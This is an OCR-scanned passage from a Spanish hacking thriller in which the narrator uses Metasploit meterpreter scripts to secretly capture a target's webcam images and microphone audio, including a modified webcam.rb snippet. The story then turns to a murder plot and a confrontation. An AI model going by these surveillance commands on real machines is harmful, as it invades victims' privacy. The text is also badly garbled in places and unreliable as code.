siempre se llamaba “webcam.jpg” y se iba sobrescribiendo con su versién mas reciente,

s



Hacker Epico

196 1

- —_— ) . omo
eliminando la anterior. Estaba disefiado para visualizarse y téo para gene:raf~1 Egav;ge;)o(r:r =
i i B 5di fiadi un pequefio contador para que 1 Tase.

tal. Asi que modifiqué el codigo v an pequ oy !
guardan30 todas ellas con un nimero consecutivo al final: webcam.jpgl, webcam.jpg2,

webcam.jpg3... )
Estas imagenes las podria ver luego o incluso pasarselas a Marcos para que las analizase.

Edit¢ el fichero /opt/metasploit/msf3/scripts /meterpreter/webcam. rb,
afiadiendo tres lineas y cambiando otra de ellas:

int =2
hive True 4o . )
data\= client.webcam.webcam__get_rrame(quahty)
Lrigui)
sock.write{data)
int += 1 ) X
file = imagepath + *-#{int} .
c:E.le.open{ file, 'wb’ y uo | Tol

fd.write( data )

200

select(nil, nil, nit, interval/1086.8)

=Ny

Elemento 4: Modificacién del script para almacenar todas las imagenes

grabacion (run webcam), indicando la mejor calidad posible (-g 100).

Comence la

* root@bt: ~

2 preter > webcam_list

1: Mobiola Video Source

me preter > run webcam -q 100

[*] Starting webcam 1: Mobiola Video Source
{#] view live stream at: ./webgam.htm

{*] Image saved to : ./webcam.]pg

Img 113: Ejecucién del script de webcam de metasploit.

Con el audio resultd mas sencillo. Invoqué el script Sound_fel c(:1
deseaba veinte trozos de 30 segundos (-1 20), para grabar un tota

Mientras hacia todo esto, Marcos
volver, se habia sentado de caraa la _vent_ana,
el exterior como la entrada. En apariencia un
un tipo duro al que no se le escapa niunay a

tonteria.

mo a mi estado de dnimo y a > ;
que Marcos se preocupara por mi seguridad.

order, indicando que
¢ 10 minutos seguidos.

se habia acercado a la barra para pedir un Earl Grey. Al
en una posicion que le permitia cor}trolar tanto
cliente normal que disfruta de sute; realmente
| que no te gustaria cabrear intentando alguna

i i. Contuve
Al aspirar el aroma que emanaba de su taza, me entraron gas{asvde ped;tr) pcjl:la pa:ir;l E}; S
el impulso porque los Gltimos tres dias habia consumido suficiente bebidaes
para aguantar despierto tqdo e
queria afiadir mas nerviosis

trabajar mas rapido, dejando

| concurso de hacking de la Defcon a pleno renclimaen‘to. No
proveché el exceso de energia para

Capitulo XXIV: Webcam

“ rooti@bt: ~

g gter > run sound_recorder -i 2o ‘
[*1 Saving recorded audio to /root/.msf4/loqs/scripts/sound |
recorder/W7-60127_.0358
[} Recording a total of 16m @s

Audio saved to: W7-80127 1.wav

Audio saved to: W7-88127 2.wav

Audic saved to: W7-06127_3.wav

Audio saved to: W7-80127_4.wav

Audio saved to: W7-60127_5.wav

Audio saved to: W7-00127_6.wav

Audio saved to: W7-80127_7.wav

Audio saved to: W7-80127_8.wav

Audio saved to: W7-88127 9.wav

Audio saved to: W7-00127_16.wav
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Audio saved to: W7-080127_19.wav

Audio saved to: W7-80127 26.wav .

jaeterpreter > f

Img 114: Ejecucion del script para almacenar audio.

Para cuando terminé de copiar los ficheros que queria, va habia transcurrido casi una hora.
El keylogger llevaba mas de veinte minutos dormido. por lo que supuse que Etxeondo
habia abandbnado el despacho. Era el momento de cosechar los frutos.

En primero lugar, estudi¢ las imégenes captadas por la webcam. Todas parecian distintas
variaciones de un mismo cuadro, con el gestor de fondos sentado ante la ventana de su
despacho.

Pasé las imagenes como si fueran fotogramas de una pelicula, que bien podia titularse
“El interlocutor desconocido de Etxeondo”. Efectivamente, a juzgar por cémo sus labios
cambiaban de posicién mientras mantenia los ojos fijos en algin punto detras del monitor,
parecia que estaba conversando con otra persona. Lamentablemente, esta era invisible para
la camara.

Me demoré unos minutos en contemplar el rostro de mi enemigo: ¢l pelo oscuro y liso,
demasiado largo para los estandares empresariales de hoy en dia, la barba descuidada, los
labios de trazo grueso, las pobladas cejas sobre aquellos ojos de mirar siniestro: todo hacia
pensar en alguien a quien su situacién jerarquica le permitia descuidar su aspecto y que no
se veria detenido por ninguna barrera moral en la persecucién de sus objetivos. Como perfil
psicol6gico sacado de unos cuantos rasgos fisicos no estaba mal. iChtipate esa, Freud!



m Hacker Epico

Cerré las capturas y exploré las carpetas. La mayoriano me decianada. Eranla version digital
de los documentos fisicos que habia visto en el despacho: graficas, tablas, memorandos,
circulares y demas basura de Telgroup. Solo una me llamo la atencion: Operationen.

La abri y alli me encontré con un viejo amigo: el archivo tenia el mismo nombre y extension
que aquel que me entregd Yolanda. No tuve que abrirlo para saber que su contenido era el
mismo. Sin embargo, en la carpeta también habia otro fichero: mitgliedsverzeichnis.pdf

Segtin el traductor de Google: directorio de miembros en aleman. Eso tenia buena pinta.

Hice doble clicy... jqué sorpresa! Otra tabla:

B 6riginal | - [ B

Kdin Bernardo Martinez CHO3 0752 5124 2562 87115 2000 0365 14 0200008311

Minchen.  IigoGarmalde | CHEE(254'1025 2960 70241 2000 036514 0200128362

_‘"‘" idorf Fadyico Capdevila CH48 0167 2373 2080 8309 9 2000 0365 14 0200051399
Img 1135: Tabla con relacién de alias y nombres personales.

Como diria Sheldon Cooper: jBazinga! Tenia en mi poder la prueba definitiva. Esos
nombres correspondian a los politicos que habian recibido sobornos por parte de Telgroup.
Ya no habia duda de que la trama llegaba a lo mas alto. La presidenta estaba implicada.
iQué diablos! El gobierno auton6mico en pleno estaba untado. No habia duda de que la
relacion publico-privada habia resultado muy provechosa para algunos.

Pablo tenia razén. Los ejecutivos de Telgroup guardaban un listado. Junto con la contabilidad
paralela contenida en el archivo “operationen”, este fichero demostraba la existencia de la
trama. Si esto no convencia a Suarez, nada lo haria.

Marcos percibio mi entusiasmo y s€ inclin6 para averiguar qué lo habia causado. Cuando
vio que en la pantalla solo habia una tabla, se encogié de hombros con gesto interrogante.

-;Has descubierto dénde la tienen? —pregunto.

Mi entusiasmo cayé con la aceleracion de la gravedad. En realidad, no habia conseguido
nada. La tabla solo confirmaba lo que ya sabia sobre la corrupcion de la clase politica, pero
no me servia para encontrar a Yolanda. Ademas, seglin me habia repetido Suérez hasta la
saciedad, cualquier prueba que consiguiera con mis particulares métodos seria inadmisible
ante un tribunal.

Solo me quedaba un cartucho en la recamara.

Saqué unos auriculares de la mochila y los conecté al portatil. Queria escuchar la grabacion
aislado del ruido de fondo de la cafeteria para no perder ni una palabra. Las imagenes
sugerian que Etxeondo habia hablado con alguien en su despacho. Mi ultima esperanza
consistia en que mencionara a Yolanda.

Me puse los auriculares, abri el reproductor de audio y seleccioné el archivo. Cerré los 0jos.
La oscuridad me ayudé a desconectar los demas sentidos. Pronto, solo quedo el sonido que
me llegaba a través del tiempo y el espacio, y fue como si yo mismo hubiera estado una
hora antes en el despacho de Etxeondo.

Capitulo XXV: Escucha

Capitulo XXV
Escucha

Iga gra_bacién no tenia una calidad 6éptima
ecepcion. : iti
peropla otrfﬁ?edlel lasbvoces se escuchaba con nitidez. por encima del sonido ambient
Sadiiine Heiga a tan apaga}da que apenas pude distinguir unas pocas palabra:,
Dapuse due. Cal;; o ra CQI{Tespond%a a Etxeondo, ya que hablaba frente al ordenador v,
= conse::uencia demmrcl)dono. Su interlocutor estarfa situado al otro lado del escritorio 2:,
: , de espaldas a aquel, lo que i n
Pl e quel, lo que explicaba que sus respuestas solo quedaran

pero al menos no constituia una completa

El dia ) i 16
logo que se desarroll6 a continuacion 1o transeribi de la siguiente manera:

.]aVIGI EtXGOIldO. I{e hablado con Alexallde[. IJO eSta Ilada COIltelltO. ! no (5 a
11 CXtIan B

Desconocido: “ininteligible”.

JE: Miinchen quiere parar las operaciones. A

M esar de
esta bajo control, no quiere arriesgarse. F aue le hemos asegurado que todo

D: “ininteligible”.

.] E. (:uaﬂdo IeCupCIamOS el aIChlVO, qU.lSO VeIlO con sus pI‘OplOS 0]OSs. El ml.l'y CabIOIl

D: “ininteligible”.

JE i Ya se que el aIChlVO aho de aq U1 OdeI. Ie pagaIIlOS paIa que 10 SOIHCIOHGS, no
S i .]
pal‘a que nos recuerdes 1() e\/ldente.

D:... dejasteis escapar...

JE: Hemos peinado el edifici E i
COn‘[mlaﬂo‘p edificio, pero no hay rastro de ¢l (pausa). Se suponia que podias

D: “ininteligible”.

JE: Si. Ha salido por el control ma. De tod
luego se ha esfumado como un puto fantas
. y p a.
modos, no tiene nada contra nosotros. Tarde o temprano aparecera. e

D: “ininteligible™.

]. n
5
eIIlbaIgo, €sa gaIaIltla no es SI.lflClente pal'a Alexalldﬂ“.
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EN

D: “ininteligible”. | ’
JE: Si. Al final, ha dado la orden. Hay que eliminar a los dos. Ahora mismo los estan
buscando.

D:... la chica...

JE: También. Hay que deshacerse de ella.

D: “ininteligible”. ) | )
JE: Mira, nadie esperaba tener que llegar tan 1ejos. Durante estos afios, el dmeric;l rsz
lleéado s,in muchas complicaciones, pero cometimos un fallo y ahora toca ensuc

las manos. No hay alternativa.

D: “ininteligible”. , -
JE: Esta noche. Y no te preocupes; no tendras que hacerlo ti. Se la entregarés a Ibafiez
y a Salcedo. Ellos se encargan.

(Crujido suave, sonido de pasos)
JE: Te acompafio; yo también debo salir. ..

Ruido de una puerta al cerrarse, silencio)
( an abandonado el despacho. A pesar de ello,

iné sconocido habi :
Imaginé que Etxeondo y el de os minutos més. Amargos pensamientos

me quedé escuchagdo eltvacio durante unos cuant
se agolpaban en mi mente. é
No habia otra in_terpretacién para lo que haziizzc::;ﬁi; c;}lﬁalgi gaseggfjgaci; zdgzrlfg
E:;:Jblisa'sLt?es s[;lgs]]:)zraoss c?;eliotrrizr:iirﬂzsszlss s secnetoi crmmgseﬁgo%:ggap:]i Er; .esca:éosy;

abi i de momento, pero Yolan ;
?12 Ezzlsaej;&saii?:ng;ﬁﬁa Zsﬂcta‘;ga;e lea noche, Sl.: suerte estaba echada.

i imi i iré irarlo
Marcos me tocod el hombro y me sac6 de mi ensimismamiento. Me giré Ragleg meg(;
pe?ll;;ando que queria mostrarme su apoyo en unos momentos tan duros para mi.

i edecia a
me di cuenta de que no podia saber lo que yo habia egcuchado y quebsudgee:;clo Cc:}; o it
otra razon. Al ver su expresion concentrada y la tensién que emaIE \?és o Vema,na :
pregunté qué estaria ocurriendo. Segui la direccién de sus 0jos a tra

enseguida lo comprendi. - —
; {an hacia nosotros. El primero tenia la car.
lgado estaban cruzando la acera'y venian I ke
E;l;:;ty;zef llevaba el brazo derecho en cabestrillo, recuerdos entranzt;btl)eslgecg}L ta;r:;ag )
jEl otro le hacia indicaciones, sefialando la zona de locales dondi: es il da o sébado,
mantenia su expresion de tipo peligroso que tan bien recordaba de la velada .

igera presion
Intenté levantarme de un salto, pero la mano dc? Marcos me detuyo. tCon una ligera p
sobre el trapecio me obligd a sentarme como S1 yo fuera su marioneta.

Capitulo XXV: Escucha

-Tranquilo —dijo-. No llames su atencién. Avin no nos han visto.
-Pero, ;qué hacemos? —pregunté aterrado-. (No irds a enfrentarte a ellos?

-No seria prudente. Ahora mismo no voy armado. Ellos si.
-¢Cémo lo sabes?

-Bulto en gadera derecha del Esparrago. Bulto bajo axila izquierda de Don Limpio. Dos
bultos sugieren dos pistolas. Dos mds que las que nosotros tenemos.

-, Y qué hacemos? —repeti.

-Antes o después entraran en este local. Sugiero una retirada estratégica. Recoge tus
cosas con calma y espera mi sefial.

Marcos se fue hasta el fondo del local, donde habia una salida de emergencia junto a la
puerta ‘de los aseos. Se queds alli esperando a que yo terminara de guardar el portatil
y demds trastos en la mochila. Cuando llegué hasta él, abrié la puerta y me empujé al

exterior. Antes de que la puerta se cerrara por completo a nuestras espaldas, puede escuchar
las voces de protesta de la camarera,

-jOigan, no pueden salir por ahi!

Al parecer, las salidas de emergencia son solo para... emergencias. Me resulté gracioso
que durante los Gltimos dias hubiera cometido unas cuantas infracciones legales por entrar

en sitios y ahora mi transgresion consistiese en salir. Si fuera karma, atin tendria que salir
muchas veces mas para alcanzar el equilibrio.

El caso es que.nos encontramos en un callejon de servicio, en la parte trasera de los locales.
Corrimos a través de los contenedores de basura hasta la esquina de la calle perpendicular
a la principal, donde estaba la sede de Telgroup y la entrada de la cafeteria. Marcos levant
la mano abierta para indicarme que me detuviera ¥ se asomd por la esquina. Luego salié
caminando como un transetnte més y yo fui tras €1, manteniendo la distancia.

El Cherokee estaba estacionado cerca del cruce con la calle principal. Marcos se subi6 al
puesto del conductor y me abrié la puerta derecha desde dentro para que subiera. Salté al

interior con el corazon pugnando por salir del pecho, ni siquiera contenido por la presién
del cinturén de seguridad.

Marcos se incorporé a la circulacion y se detuvo ante el seméaforo en rojo de la interseccidn.
Pude ver por la ventanilla a mis dos perseguidores, unos cien metros a mi derecha. Estaban
ante la cafeteria y observaban el interior a través de los grandes ventanales. Por un momento
temi que se volvieran hacia donde nosotros esperabamos.

El tiempo no es una constante, sino una variable que depende del observador, Albert
Einstein lo formulé en su teoria de la relatividad; Max Payne, con el “tiempo bala”. Para
el resto del mundo no transcurrieron méas que unos segundos; para mi, el rojo del semaforo
fue una proyeccién de la pelicula “Pozos de Ambicién”: interminable.
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Cuando por fin se puso verde y Ma'rcos inicio
cafeterfa. Después, los edificios se interpusieron en
habian descubierto. Estdbamos a salvo.

la marcha, vi que los matones entraban en la

tre nosotros y los perdi de vista. No nos

Capitulo XXVI- Revelacion m

Capitulo XXVI
Revelacion

-jVan a matarla! —exclamé.

Marcos no lo negé. Se limité a escuchar la grabacién mientras me pedia silencio con la
mano. Ya le habia adelantado su contenido, pero él querfa comprobar 1o que alli se decia
por si mismo.

Estdbamos de nuevo en su casa. Yo caminaba de un lado & otro del salon, impulsado por la
desesperacion. El tiempo se agotaba ¥y cada segundo que pasaba limaba las esperanzas que
tenia de encontrar a Yolanda con vida. Queria ponerme en movimiento, hacer algo cuanto
antes, lo que fuera con tal de impedir que aquellos malnacidos cumplieran su propésito;
PEIO seguia sin tener ni idea de dénde la retenian y, sin esa informacién, la voluntad de
nada servia. Era como perderse en un oscuro laberinto, donde los gritos de auxilio me
llegaban desde todas partes; por mucho que corria y descubria nuevos pasadizos, ninguno
me llevaba hasta Yolanda, aunque todos me traian las voces de su agonia.

-Tenemos que llamar a Suérez —afiadi-. El sabra que hacer.

Marcos sacudié la cabeza y me pidié silencio con lamano. Seguiaescuchandola conversacion
entre Etxeondo y el hombre misterioso. Esperé con impaciencia a que acabara, solo porque
sabia que le*faltaban unos pocos segundos. Cuando lleg el silencio, no le concedi ni un
momento de reflexién; queria que aportase alguna idea y volvi a la carga.

-, Y bien? ;Qué opinas?

-Sudrez querré saber cémo has conseguido esta grabacion. Si se lo cuentas, se cabreara y
tendras que explicar por qué desobedeciste sus 6rdenes de no interferiren la investigacion.
Te pasaras unas cuantas horas en la sala de interrogatorios antes de convencerle de que
no tenéis tiempo para un nuevo episodio de “Ley y Orden”.

-Pero no podemos ocultarselo —repliqué-. Sino conseguimos rescatarla, no podria cargar
esa responsabilidad sobre mi conciencia.

-Estoy de acuerdo en que Sudrez debe ser informado; pero necesitamos que movilice
todos sus recursos sin que nosotros nos veamos complicados.

Reflexioné durante unos minutos, reanudando mi paseo circular por el salon.

-Puedo enviarle 1a grabacién a Prado por correo sin darle explicaciones sobre como la he
conseguido —dije finalmente-. Durante el interrogatorio me pareci6 un tipo competente
y se lo podra imaginar. Que la escuche y sea €l quien empuje a Sudrez a actuar.
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. “e i posponer las explicaciones sob i i ol
B —admitié Marcos. ; , T€ mi repentina desapa s .
Buena idea —a aln més las cosas. p paricion solo serviria bara complicar

-Y después, (qué hacemos?

-Primero: avisar a Pablo —explico-. Si lo encuentran, ya sabes lo que pasara. Dile que -y :
se esconda en el agujero mas profundo que encuentre y que no salga hasta que todo iangel! —increp6-. {Me cago en la puta! ;Dénde cofio te has metido?
haya terminado. No le des explicaciones. Lo ultimo que necesitamos es que se¢ exponga “Tranquilo, Juango. Estoy bien

tratando de encontrar a su hermana.

Pulsé la tecla de aceptar.

-No te he preguntado c6mo estis si
-Vale, ;qué mas? que volver a Telgroup.

-Lo mismo pasa contigo. Tienes que quedarte en el pisp hasta’que i(}entiﬁqtlemos al “No podemos volver alli
sujeto que habl6 con Etxeondo. Esta claro que ¢l sabe donde esta la chica.

no dénde. Llevo toda ia maflana llamandote. Tenemos

-¢De qué estas hablando?
“iPor que? -Es una larga historia que ahora - .

imi ' A no tengo tiempo de explica i
-Evidente: es quien ha recibido la orden de eliminarla, asi que sera el encargado de su caso: mantente alejado de Telgroup. P PICAr, pero tienes que hacerme
custodia. El puede conducirnos hasta el lugar donde la retiene. Segurament.e’ sea una
casa 0 nave apartada, lejos de miradas y oidos indiscretos. Hay que saber quién es ese

sujeto.

-Mira, Angel. Que la amistad que nos une no te ha
en la empresa. Ahora estas hablando con tu

e has desaparecido durante tu jornada de trab
-Pero, ;c6mo? Apenas se escuchan unos cuantos murmullos en la grabacion. Y en cabreado. ;Se puede saber qué pasa con Tel

ningin momento se dicen nombres. Lo que pides es imposible.

] ga confundir la posicién que ocupas
Jefe. Asi que, o me dices por qué cojones
ajo, 0 cuando vuelvas me encontraras muy
, group?

. Epica trabajaba para Tel
-Tenemos que encontrar el modo —me dijo-. A lo mejor hay algo en 165 mcblvoi ave derecho’a conocer con
copiaste 0, que s¢ yo, descubres algo que hayamos pasado por alto. Concentrate en que sabia.

repasar todo 1o que tenemos. Si encontramos al tipo, encontraremos a ti novia.

group y Juanjo era el maximo responsable del proyecto. Tenia
que clase de gente estaba tratando. Tomé la decisién de contarle Io

-Todo empez6 el viernes, cuando recibi Ia llamada de una amiga. ..

- Qué hards 167 Le conté toda la historia, omitiendo tnicamente el

' . > 1 papel que habia desempefiad
-Volver a Telgroup, esperar a Etxeondo, seguirle y ver si me lleva hasta nuestro hombre. mi encontronazo con la policia. Ya era lo suficient G ) peet

emente complicada como para introducir
€805 ia : i i pri fa en Epi
LY si no lo hace? —objeté-. ;Y si solo vuelve a casa y saca a pasear a Su puto perro dos elementos. Conocia a Juanjo desde mi primer dia en Epica y desde entonces

siempre me habia apoyado. Tenia la esperanza de ‘e i
. . . : . * que esta vez no fuera diferente.
mientras el otro hace el trabajo? el tiempo apremiaba, sentia que le debia al men e

i ] 0 i i os los minutos que tardé en relatarle mi
-Entonces tendré que preguntarle quién es su amigo'y donde retiene a la chica. -
-Claro, y él te lo diré sin méas —me burlé. ;i?fga! —eé(ciamé cuando conclui-. ;Y no sabes quién es ese tipo? { El que habl6 con el
. . . a :
_Bueno -reflexioné, sefialando su mochila-. Por algo dispongo de un equipo de F xeondo
inquisicion. . LNI 1.de2;. Ahora iba a mandarle la grabacion a la policia por si ellos pueden averiguarlo.
Mientras Marcos se preparaba para marcharse, llamé a Pablo para ]_':t)l:u::ric1 sobre aviso. 0 siento, tengo que colgar.
i i i nvencia. Fe N
S e Do wiont w8 O pUd'e, ek 0z pare de o respdueS:aS e\f:ec:iad de la - MG RIONen(n ,‘F[’JO*- T‘?nemos que pensar en las repercusiones. Un escandalo de
Solo cuando imprimi un fono'de urgeacia & i voz parecic SOTER B S esta magnitud afectard irremediablemente a Epica. Al fin y al cabo, hemos trabajado con
situacién y prometié obedecer. Esperaria mi llamada en un lugar seguro. ellos; Hay que haces conteol derdance i e gl o
< OVi i emitir la grabacion a Prado y Méiri ) '
Aparté el mévil para ponerme con el ordenador. Tenia que ren Z . . portan una mierda las repercusiones —protesté-. Ahora i
regasar todo el material, pero tuve que volvera echar mano de é1 cuando entr6 una llamada: D solo pienso en Yolanda,

oy Jofo. Ya e T quinis ez y estabe: dispucsto rechazarla de nuevo, pero sabia que T(Islam, (,:laro. Estés Ereocupzldo por tu amiga, eso lo entiendo. Pero no te precipites.
(FOr que no me ensefias todo el material que has conseguido v juntos trazamos un plan

ERET T
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de accién? Si hace falta, te acompafiaré yo mismo a la comisarfa. Conozco a gente en
la Jefatura.

-(Es que no has prestado atencién? No tenemos tiempo para eso. Esta noche van a
matarla.

-Antes tienes que hablar con nuestros abogados. No te llevard mucho tiempo.
Necesitamos estar seguros de que Epica no se ve comprometida.

-Con el debido respeto, Juanjo, que les den por culo a los abogados y que le den por
culo a Epica.

-;Dénde estas? Pasaré a buscarte ahora mismo.

-Estoy en casa de un amigo, pero no te molestes. No pienso perder un tiempo que no
tengo. Lo siento.

_iEscchame, maldita sea! —dijo a voz en grito-. Nos conocemos desde hace mucho,
Angel. Quiero ayudarte, pero no me 1o estas poniendo facil.

-(Qué es esto? Ahora si eres mi amigo.

-Si, joder, perdona por lo de antes. El rollo jefe despético y todo eso. No tenia ni idea de
lo que pasaba y ha sido todo un shock. ¢ Por qué no me dejas echarte una mano?
-.Como?

-Enséfiame las pruebas y juntos pensaremos qué hacer con ellas. Tu amiga sera lo
primero. (De acuerdo?

Reflexioné durante unos momentos, escuchando la respiracion pausada de Juanjo a traves
del teléfono. Dudaba si debia coger la mano que me tendia. Solo no habia conseguido
encontrar ninguna pista; quiza otro par de ojos vieran lo que permanecia oculto para los

mios.
-Esta bien —acepte.
_Genial. ;Dénde te recojo?
-Mejor voy yo a Epica. Le pediré a un amigo que me lleve.
-Es mejor no tratar esto en la oficina. Ademds, yo ya he salido —Hizo una pausa-.
Escucha, ;puedes venir a Manzanares? Esta semana estoy en el chalet.
-Y eso?
_Estamos haciendo reformas en el piso de Madrid.

Pensé si merecia la pena desplazarme hasta tan lejos solo para contenfar a mi jefe. Al
final, entre las opciones de quedarme encerrado en el piso de Marcos esperando que algo
sucediera o aceptar el ofrecimiento de Juanjo de ayudarme con el material recopilado, me

decidi por esta tltima.

Capitulo XXVI: Revelacién

—_Em

-Esta bien —le dije-. All{ estaré.

Colgué just i i i
Con%ers gl Ciécr)1 Zl:;n}?;bMarcost se ctlilspoma a salir por la puerta. Le expliqué brevemente |
1a mantenido con mi jefe. No parecid i i
ersa . arecio muy convenc
consinti6 en llevarme tras recomendarme precaucién ! 1o pero al final

'} ors SO — _] al tleHlp() que me tendla a p q adO al calvo-
’
1 acaso dl 0 1 IStOla ue le habla aIIebat 1 O-,

Rechacé el arma elevando los ojos al techo.

—ALIIlque tOdO elnpleado suena con dlspara] asu Cfe _le dl -, lle\/al 10 a 13. pIaCtha seria

R P . . .
Ceii;ilj (zr{[lsdzzs?s mlertltras ei esperaba junto a la puerta. Antes de apagar el portatil, fui
as ventanas. La 1iltima contenia una de 1 7
: as capturas de la web d
se veia a Etxeondo sentado tras el escritori i ol
‘ orio. Iba a clicar sobre la X 5 mi
" ! ondo s ’ ! cuando algo llamé mi
encién. Me inclin€ sobre la pantalla y entorné los ojos para focalizar mejor. %stuve unos

S g dOS €1 €sa pOSlClOn y f al <, SIn pCIdeI de vista el puIltO de mi
al
cegun al Hlal Cabe pOI sentarm 5

11;/220(}); Iilezno uil gegtodde ilmpagiencia con los brazos: “Ahora, ;qué?”, parecia preguntar

ia la mirada clavada en la parte superior der in '
echa de la imagen 11

mostraba un sector de la ventana del d icral interior o
) espacho. En ese sector, la luz artificial interi

: ) : . , nterior se

reflejaba y recortaba la silueta del interlocutor misterioso como la aparicién de una pelicula

de te] 1§8) 3 de S€rie B. Y aunque la cara no €ra mas que a so 5 p g
un mbra bOIIOSa supe ense ulda
de quleIl Se trataba.
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Juanjo tenia su segunda residencia en Manzanares, uno de esos pueblos de la sierra donde
las urbanizaciones se habian multiplicado en los afios de la burbuja inmobiliaria como los
hongos en un otofio lluvioso. Tuvimos que bordear el casco viejo y tomar una carretera
estrecha, que ascendia por la ladera entre los arboles, hasta legar a un grupo de casas
apartadas con vistas al lago. Detras, los picos mas elevados se recortaban contra el cielo
desnudo y apagado de la tarde.

La carretera desembocaba en un arco de piedra con el nombre del complejo residencial
grabado en una de sus bases: “Pefialobos”. Al pasar por debajo, miré con nerviosismo a
ambos lados, esperando que semejante nombre no obedeciera a la existencia de ese tipo de
fauna en la zona. Salimos a la calle principal, que serpenteaba entre viviendas unifamiliares
cada vez mads espaciadas entre si y a través de un bosque de pinos. El chalet de Juanjo
se encontraba al final de una calle cortada, en una gran parcela rodeada por una vaya de
piedra. Aunque los arboles ocultaban el primer piso, el gran ventanal del segundo y el
tejado de pizarra emergian entre las copas como el periscopio de un submarino.

Una pequefia glorieta ante el gran portalén de entrada para vehiculos permitia dar la vuelta.
Marcos empezg a girar y se detuvo junto a la acerca. Agarré la manija de la puerta para
salir, pero él me asi6 del otro brazo.

-¢ Estas seguro? —me dijo.

Lo miré por encima del hombro y vi que sus ojos también me sujetaban. Le sostuve la
mirada por un momento y luego asenti.

-Sigamos con el plan —contesté.

Me quedé contemplando el jeep mientras se alejaba y se perdia tras un recodo de la_ calle.
Cuando ya no fue més que un recuerdo, me volvi hacia la puerta peatonal y pulsé el timbre.
La puerta se abrio con un zumbido sin que nadie preguntara desde el altavoz.

Un camino de baldosas atravesaba el jardin delantero y llegaba hasta la casa. Caminé bajo
la sombra de los grandes pinos, en paralelo a la rampa del garaje. Al otro lado habia un
claro donde la piscina estaba custodiada por un par de tumbonas, una sombrilla, una mesa
de piedra y una barbacoa de obra. Sobre la tranquila superficie del agua, el cielo se miraba
como en un espejo. No hacia mucho, los de la oficina nos habiamos reunido en aquel lugar
con ocasion del cumpleafios de Juanjo, que ahora me esperaba en el umbral, vestido atin
con la camisa, la corbata y el pantalén del traje, aunque sin la chaqueta.
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-Angel, bienvenido —Hizo un gesto con la mano hacia el interior-. Pasa.

Me condujo por el pasillo hacia la parte trasera, dejando atras el recibidor, las escaleras
que bajaban al sétano y subifan al piso superior, la biblioteca, el despacho y la cocina, para
terminar finalmente en el salén.

Era una estancia dividida en dos ambientes, con el comedor a la izquierda y una zona
dedicada al ocio y el descanso a la derecha. En €l comedor destacaban una mesa rodeada
por sillas de la misma madera oscura, un aparador que exhibia una coleccién de copas
de cristal como si fueran reliquias y una puerta que comunicaba de modo practico con la
cocina; al otro lado, tres cémodos sillones tapizados en cuero, dispuestos en torno a una
mesa baja y orientados hacia una silenciosa chimenea de piedra, una pantalla de plasma del
mismo tamafio y una barra de bar, tras la que se alineaban botellas de todo tipo, componian
un conjunto muy acogedor. Un amplio ventanal ocupaba toda la pared del fondo y ofrecia
una espléndida vista de la ladera boscosa, permitiendo al agénico sol inundar de claridad

la sala.
-¢ Estas solo? —pregunté.

La casa estaba tan silenciosa que nuestras pasos resonaban como en la nave de una iglesia.
-Si. Carmen ha salido de viaje. Ponte comodo ~Juanjo sefialé uno de los sillones y rode6
la barra-. Qué te sirvo?

-Estoy bien, gracias.
-Yo me tomaré algo, si no te importa.

Sacéd un vaso de debajo de la barra para servirse un whiskey con hielo. Dio un trago y
chasqued la lengua con satisfaccion.

-Malta de doce afios —Vino con la bebida para sentarse frente a mi-. T1 te lo pierdes.

-No te privas de nada —Eché una elocuente mirada alrededor, me senté y puse la mochila
del portatil sobre la mesa-. Yo me he tenido que pasar a la Pepsi porque la Coca-Cola

es mas cara.
-Solo se vive una vez —Sefial6 1a mochila con el vaso-. ;Lo has traido todo?

Asenti.
-¢Has hablado con la policia?
Negué con la cabeza.
-¢Alguien mas esta al corriente?
-Solo ti y yo ¢Por qué eso te preocupa tanto?

-Necesito tener toda la informacién. Y necesito que confies en mi.

-Estoy aqui, ;jno?

— B

-Bien. Has hecho 1o Correcto —reconocio-. Tengo que decir

muy preocupado. Llevo déndole vueltas
G salit s o D al asunto desde ent
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que nuestra chary, me dejo
onces, pensando ep ¢] modo

-Yo crefa que estibamos aqui para tratar de encontrar a Yolanda.

-Si, claro. Por su i
. puesto. Pero no podemos ignora: i
o N T
posicitn iy qpue g que esa chica nos ha puesto ep una
-Yo diria que ella se ha llevado la peor parte, ;no crees?
-Tus acciones no han contribuido a mejorar su situacion.
-, Y qué querias que hiciera?

-iHablar conmigo, maldita sea! —exclamg
iH: ' i ! mo, dando
sillén-. Acudir a mi desde e] principio. — sl b el

-, Qué habria conseguido con eso?
-Hubiera podido hacer algo —afirmé-. Hubiera podido ayudarte.
-{Ayudarme a m{? —pregunté, frunciendo el cefio-. (O a ti mismo?

Juanjo bebié si j i
a él eblc()1 sin dejar de observarme por encima del vaso. Luego lo dejo vacio sobre Ia
¥y sacudi6 la mano para rechazar mis objeciones.

_V T £ ., . - .
amteiﬁ&l.i,tAnge_l, no dudq de que tuvieras buenas intenciones. Querias hacer un favor a m
Suita y, sin saber como, te viste envuelto en un asunto muy feo. Lo que no entiendo

€8 por qué seguiste metiendo las narices. No i i
e v Epica, puedes ir por libre. No en algo que afecta

-¢Es eso todo lo que te preocupa, Juanjo? ;Epica? ¢O hay algo mas?
-(Qué quieres decir? —Se encogié de hombros para escenificar 1a duda.

é\/Ie Incling hacia delante para mirarlo directamente a los 0jos. Juanjo me sostuvo la mirada
urante unos segundos, pero finalmente acabé por apartarla hacia el techo de vigas.

-[,En_ qule momento cambiaste, Juanjo? —le acusé-. ¢En qué momento pasaste de ser
un simple g;}lpollas a codearte con corruptos y asesinos? ;O es que siempre fuiste un
asqueroso hijo de puta y durante todos estos afios me tenias engafiado?

;‘L:len_j;n f;e mird como §i lo hubieral .abofeteado, con los ojos v la boca muy abiertos
cém[:;c 11_) (Liu]a expresion de perplejidad que en otras circunstancias habria resultado’

a, Tard6 un momento en reponerse del golpe, como un boxeador a punto de besar la
lona, pero lo consiguié finalmente.

-(Como lo supiste? ~pregunto.

-Eres el tinico que lleva esa mierda de pi fi 2
. pilla corbatas —Sefialé el alfiler de Epica sob.
su pecho, con la E roja destacada-. Debiste quitértelo antes de acudir al deIs)pacIf(c)’ c{:
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Etxeondo. Asi no lo habria visto reflejado en la ventana y aln te miraria a la cara sin
sentir asco.
Juanjo pegd la barbilla al pecho y observo el insignificante objeto que lo habia delatado,
como si este fuera el orificio de entrada de un disparo.

Tt no lo entiendes —Recogi6 el vaso vacio y se fue tras la barra para llenarlo de nuevo.
Después, dio un trago tan largo que hizo desaparecer la mitad del liquido repuesto.

-Claro que no —concedi-. No entiendo por qué te relacionaste con esa gente. No entiendo
por qué participaste en una abyecta trama de corrupcién. Y no entiendo por queé te
